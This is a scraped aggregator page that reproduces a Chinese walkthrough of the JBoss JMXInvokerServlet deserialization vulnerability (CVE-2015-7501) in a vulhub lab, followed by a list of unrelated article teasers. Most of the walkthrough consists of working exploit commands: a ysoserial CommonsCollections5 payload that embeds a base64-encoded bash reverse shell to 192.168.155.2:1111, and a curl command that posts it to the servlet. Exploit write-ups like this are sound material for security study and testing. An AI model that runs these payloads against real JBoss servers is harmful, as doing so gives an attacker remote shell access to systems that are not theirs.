当前位置： 首页 > news >正文

JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)

news 文章来源：https://blog.csdn.net/wutiangui/article/details/132805336 2024/11/1 10:34:55

一、漏洞说明
JBoss中/invoker/JMXInvokerServlet路径对外开放，JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。
二、影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
三、搭建环境
cd vulhub\jboss\JMXInvokerServlet-deserialization
在这里插入图片描述在这里插入图片描述

四、漏洞验证
访问:8080/invoker/JMXInvokerServlet，返回如下页面（下载文件），说明接口开放，此接口存在反序列化漏洞。
在这里插入图片描述

下载了以下文件
在这里插入图片描述

五、漏洞复现
1.nc开启监听
在这里插入图片描述

2.生成序列化数据
使用工具ysoserial.jar生成序列化数据
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
Base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
所以payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
执行完该命令之后，会在本地桌面生成一个序列化的文件exp.ser，并利用cat查看其内容。
在这里插入图片描述

然后，将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用
3.反弹shell
使用序列化数据反弹shell
curl http://192.168.25.128:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
在这里插入图片描述在这里插入图片描述

相关文章：

JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)

一、漏洞说明 JBoss中/invoker/JMXInvokerServlet路径对外开放，JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。 二、影响版本 JBoss Enter…...

编程日记 2023/9/12 11:13:23

比Mojo慢68000倍，Python性能差的锅该给GIL吗？

# 关注并星标腾讯云开发者 # 每周1 | 鹅厂工程师带你审判技术 # 第3期 | 李志瑞：天使还是魔鬼？聊聊 Python GIL 9 月 7 日，新兴编程语言 Mojo 正式发布。Mojo 的最初设计目标是比 Python 快 35000 倍，近期该团队表示，因…...

编程日记 2023/9/12 11:12:22

CSS读书笔记

——————————————精华部分—————————————— 1、选择器 （1）基本选择器： 标签选择器 body{} 类选择器 class .class名称{} ID选择器 id #id名称{} 优先级：ID选择器 > 类选择器 > 标签选择器 &am…...

编程日记 2023/9/12 11:11:21

Qt使用QSqlDatabase remoeDatabase()连接提示仍在使用解决方案

问题描述 调用QSqlDatabase的removeDatabase函数的时候，出现了如下错误 QSqlDatabasePrivate::removeDatabase: connection 05465461654654 is still in use, all queries will cease to work官方示例 [static] void QSqlDatabase::removeDatabase(const QString &…...

编程日记 2023/9/12 11:10:19

管易云与金蝶云星空对接集成仓库查询打通仓库新增

管易云与金蝶云星空对接集成仓库查询打通仓库新增 接通系统：管易云 管易云是金蝶旗下专注提供电商企业管理软件服务的子品牌，先后开发了C-ERP、EC-OMS、EC-WMS、E店管家、BBC、B2B、B2C商城网站建设等产品和服务，涵盖电商业务全流程。 对接目…...

编程日记 2023/9/12 11:09:18

ubuntu 安装 Mongodb 4.0、4.2、4.4

1. 安装 # 配置apt Repository mongodb 4.0， 4.2， 4.4 $ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 68818c72e52529d4 #4.0 $ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 4B7C549A058F8B6B #4.2 $ …...

编程日记 2023/9/12 11:08:17

详解Hugging Face Transformers的TrainingArguments

前言： TrainingArguments是Hugging Face Transformers库中用于训练模型时需要用到的一组参数，用于控制训练的流程和效果。 使用示例： from transformers import Trainer,TrainingArguments training_args TrainingArguments(output_dir&q…...

编程日记 2023/9/12 11:07:16

【LeetCode-中等题】17. 电话号码的字母组合

文章目录 题目方法一：递归回溯 题目 方法一：递归回溯 参考讲解：还得用回溯算法！| LeetCode：17.电话号码的字母组合 首先可以画出树图： 先将数字对应的字符集合 加入到一个map集合 这里需要一个index来控…...

编程日记 2023/9/12 11:06:14

读高性能MySQL（第4版）笔记06_优化数据类型（上）

1. 良好的逻辑设计和物理设计是高性能的基石 1.1. 反范式的schema可以加速某些类型的查询，但同时可能减慢其他类型的查询 1.2. 添加计数器和汇总表是一个优化查询的好方法，但它们的维护成本可能很 1.3. 将修改schema作为一个常见事件来规划 2. 让事情…...

编程日记 2023/9/12 11:05:13

mac如何创建mysql数据库

使用mac创建mysql数据库十分简单，我们只需要按照以下步骤即可完成。 首先，我们需要安装mysql，我们可以通过官网下载对应的安装包，或者通过Homebrew进行安装。 接下来，我们需要启动mysql服务，在终端中输入以…...

编程日记 2023/9/12 11:04:13

Ceph入门到精通-centos8 install brctl

在centos7上是可以直接yum安装bridge-utils的，但是centos8不行 经过分析 brctl有提供centos的rpm包，里面只有一个二进制脚本，所以直接下载安装即可 rpm -ivh http://mirror.centos.org/centos/7/os/x86_64/Packages/bridge-utils-1.5-9.el7…...

编程日记 2023/9/12 11:03:12

sqli第一关

1.在下使用火狐访问sqlilabs靶场并使用burpsuite代理火狐。左为sqlilabs第一关，右为burpsuite。 2.输入?id1 and 11 与?id1 and 12试试 可以看出没有变化哈，明显我们输入的语句被过滤了。在?id1后面尝试各种字符，发现单引号 包…...

编程日记 2023/9/12 11:02:11

入行IC | 新人入行IC选择哪个岗位更好？

很多同学入行不知道怎么选择岗位。IC的岗位一般有设计、验证、后端、封装、测试、FPGA等等。但是具体到每个人身上，就要在开始的时候确定下你要找的职位，可以有两个或三个，但是要分出主次，主次不分会让你纠结整个找工作的过程。 …...

编程日记 2023/9/12 11:01:09

时间旅行的Bug 奇怪的输入Bug

故事一：时间旅行的Bug 在一个普通的工作日，程序员小明正在开发一个时间旅行的应用程序。这个应用程序可以让用户选择一个特定的日期和时间，然后将用户的意识传送到过去或未来的那个时刻。小明对这个项目非常兴奋，他认为这将是一个…...

编程日记 2023/9/12 11:00:08

解决nbsp；不生效的问题

代码块 {{title}} title:附 \xa0\xa0\xa0件,//或者 <span v-html"title"></span> title:附 件&#xff1a;,效果图...

编程日记 2023/9/12 10:59:07

【Lidar】Cloud Compare介绍安装包

CloudCompare是一款基于GPL开源协议的3D点云处理软件&#xff0c;最初被设计用来对稠密的三维点云进行直接比较。它依赖于一种特定的八叉树结构&#xff0c;在进行点云对比这类任务时具有出色的性能。在2005年后&#xff0c;CloudCompare实现了点云和三角形网格之间的比较。 Cl…...

编程日记 2023/9/12 10:58:05

Java中的Maven是什么?

Maven是一个开源的项目管理和构建工具&#xff0c;用于Java项目的构建、依赖管理和项目信息管理。它提供了一种标准的项目结构、规范的构建过程和丰富的插件生态系统&#xff0c;简化了项目的管理和构建过程。 Maven基于项目对象模型&#xff08;Project Object Model&#xf…...

编程日记 2023/9/12 10:57:04

计算机操作系统

计算机操作系统 1.进程管理 1.1 基础概念 进程&线程 进程是操作系统资源分配的基本单位。一个进程运行时&#xff0c;会获取必要的CPU、内存地址空间&#xff0c;以及运行时必要的IO设备。 线程则是执行调度的最小单位。一个进程会由一个线程或者多个线程执行调度任务。…...

编程日记 2023/9/12 10:56:03

海学会读《乡村振兴战略下传统村落文化旅游设计》2023年度许少辉八一新书

海学会读《乡村振兴战略下传统村落文化旅游设计》2023年度许少辉八一新书...

编程日记 2023/9/12 10:55:02

tkinter树形图组件

文章目录 初步回调函数绑定滚动条 初步 Treeview是ttk中的树形表组件&#xff0c;功能十分强大&#xff0c;非常适用于系统路径的表达。为了知道属性图到底是什么&#xff0c;下面先做个最简单的树形图 其代码如下 import tkinter as tk from tkinter import ttkdct {"…...

编程日记 2023/9/12 10:54:01

多线程的创建

一、基本概念 1 cpu CPU的中文名称是中央处理器&#xff0c;是进行逻辑运算用的&#xff0c;主要由运算器、控制器、寄存器三部分组成&#xff0c;从字面意思看就是运算就是起着运算的作用&#xff0c;控制器就是负责发出cpu每条指令所需要的信息&#xff0c;寄存器就是保存运…...

编程日记 2023/9/12 10:52:59

【django】APPEND_SLASH 路由末尾的斜杠问题

url路由末尾是否加斜杠的规范 加斜杠&#xff1a;表示是目录不加斜杠&#xff1a; 表示是文件 在django中的setting中&#xff0c;默认APPEND_SLASH True, 即当请求的路由末尾没有加斜杠&#xff0c; 如果尝试加上斜杠后&#xff0c;能在后端路由里匹配到&#xff0c;则会自…...

编程日记 2023/9/12 10:51:58

iOS16.0：屏幕旋转

此文写于2022年08月03日&#xff0c;距离iOS16正式版推出还有一个多月的时间&#xff0c;iOS16 beta版本有很多API的修改&#xff0c;今天讨论的是屏幕旋转&#xff0c;基于Xcode 14.0 beta4。 之前的屏幕旋转会报错&#xff1a; [Orientation] BUG IN CLIENT OF UIKIT: Settin…...

编程日记 2023/9/12 10:50:58

Carla学习笔记（二）服务器跑carla，本地运行carla-ros-bridge并用rviz显示

一、服务器跑carla 详见Carla学习笔记&#xff08;一&#xff09;服务器跑carla本地显示窗口_Zero_979的博客-CSDN博客 只需要启动服务器端就行&#xff1a; ./CarlaUE4.sh -carla-rpc-port2000 -RenderOffScreen -graphicsadaper1 二、本地下载 carla-ros-bridge 官方库&…...

编程日记 2023/9/12 10:49:55

数学建模--退火算法求解最值的Python实现

目录 1.算法流程简介 2.算法核心代码 3.算法效果展示 1.算法流程简介 """ 1.设定退火算法的基础参数 2.设定需要优化的函数,求解该函数的最小值/最大值 3.进行退火过程&#xff0c;随机产生退火解并且纠正,直到冷却 4.绘制可视化图片进行了解退火整体过程 &…...

编程日记 2023/9/12 10:48:53

地理地形sdk：Tatuk GIS Developer Kernel for .NET Crack

Tatuk GIS Developer Kernel for .NET 是一个变体&#xff0c;它是受控代码和 .NET GIS SDK&#xff0c;用于为用户 Windows 操作系统创建专业 GIS 软件的过程。它被认为是一个完全针对Win Forms 的.NET CIL&#xff0c;WPF 框架是针对C# 以及VB.NET、VC、Oxy 以及最终与.NET 的…...

编程日记 2023/9/12 10:47:52

Day_81-87 CNN卷积神经网络

目录 一. CNN卷积神经网络与传统神经网络的不同 1. 模型图 2. 参数分布情况 3. 卷积神经网络和传统神经网络的层次结构 4. 传统神经网络的缺点&#xff1a; 二. CNN的基本操作 1. 卷积 2. 池化 三. CNN实现过程 1. 算法流程图 2. 输入层 3. 卷积层 4. 激活层 5. 池化层 6. 全连…...

编程日记 2023/9/12 10:46:51

关于mybatisplus报错:Property ‘sqlSessionFactory‘ or ‘sqlSessionTemplat的问题

可能是mybatisplus版本不兼容的问题&#xff0c;我之前用的3.4.0&#xff0c;springboot版本是3.1.3&#xff0c;maven版本是3.8.8&#xff0c;运行的时候报了这个错。现在修改了mybatisplus的版本&#xff0c;如下图&#xff1a; 这样就不报错了。 大家可以在这里找合适的my…...

编程日记 2023/9/12 10:45:50

Spring AOP基础动态代理基于JDK动态代理实现

目录 1. 预备知识-动态代理 1.1 什么是动态代理 1.2 动态代理的优势 1.3 基于JDK动态代理实现 2. AOP 2.1 基本概念 2.2 AOP带来的好处 3. Spring AOP 3.1 前置通知 3.2 后置通知 3.3 环绕通知 3.4 异常通知 3.5 适配器 1. 预备知识-动态代理 1.1 什么是动态代理…...

编程日记 2023/9/12 10:44:47

第一章 计算机系统概述 五、中断和异常、系统调用

目录 一、中断的作用 二、中断的类型 1、内中断&#xff08;异常&#xff09; 2、外中断 三、中断机制的基本原理 四、系统调用 1、定义&#xff1a; 2、与库函数的区别 3、按功能分类 4、作用 一、中断的作用 1、“中断”是让操作系统内核夺回CPU使用权的唯一途径 …...

编程日记 2023/9/12 10:43:46

网站成功上线报道/公司企业网站建设

作者&#xff1a;朱金灿 来源&#xff1a;blog.csdn.net/clever101 谈一下元旦经历的一次诈骗&#xff0c;我想这还算是一个有趣的故事。 1月2日我到住在怀柔的好友李哥处玩。晚上我和好友肖哥、李哥一块吃饭。我刚喝下一杯啤酒&#xff0c;突然接到一个陌生的电话。我问&…...

编程日记 2024/11/1 8:08:46

网络营销内容有哪些方面/seo网站排名推广

问题&#xff1a; 项目中 前端传JSON数据到后端接口时 数据尾部多了一个等于号 解决办法&#xff1a; 前端 设置请求体类型 以及 数据格式 后端也要指定 接受数据 的格式 在写前后端接口的时候&#xff0c;我的前端将表单的数据封装后转成JSON格式 想着传到后端来解析一波 前端…...

编程日记 2024/11/1 6:56:07

查找网站/国内搜索引擎排行榜

找不到库。 vi /etc/ld.so.conf 加上/usr/local/lib 64位的同时加上/usr/local/lib64 然后ldconfig 转载于:https://www.cnblogs.com/Leo-Forest/archive/2012/07/03/2574392.html...

编程日记 2024/11/1 4:01:35

工控网做网站维护吗/seo专业培训需要多久

当线程对象的Execute()执行完毕&#xff0c;我们就认为此线程终止了。这时候&#xff0c;它会调用Delphi的一个标准例程EndThread()&#xff0c;这个例程再调用API函数ExitThread()。由ExitThread()来清除线程所占用的栈。 当结束使用TThread对象时&#xff0c;应该确保已经把这…...

编程日记 2024/11/1 2:03:13

东莞网站建设lhznkj/免费网站统计工具

本文作者结合实际经验&#xff0c;跟大家谈谈后台基于RBAC模型的用户与权限是如何设计的&#xff0c;一起来看看~一、项目背景1.1 需求来源前段时间&#xff0c;笔者所在公司收到了多个客户对后台权限和角色的需求。讨论发现&#xff0c;现有的产品后台架构并不能很好的满足用户…...

编程日记 2024/10/31 23:28:04

集团网站建设调研报告/长沙网络推广平台

参考&#xff1a;Tiny Spring 分析一&#xff0c;原文&#xff1a;1000行代码读懂Spring&#xff08;一&#xff09;- 实现一个基本的IoC容器 代码地址&#xff1a;https://github.com/xiaoxicode/jdk_source_1.7/tree/master/tinyspring 特此声明,本文不能算严格意义上的原创…...

编程日记 2024/10/31 21:19:28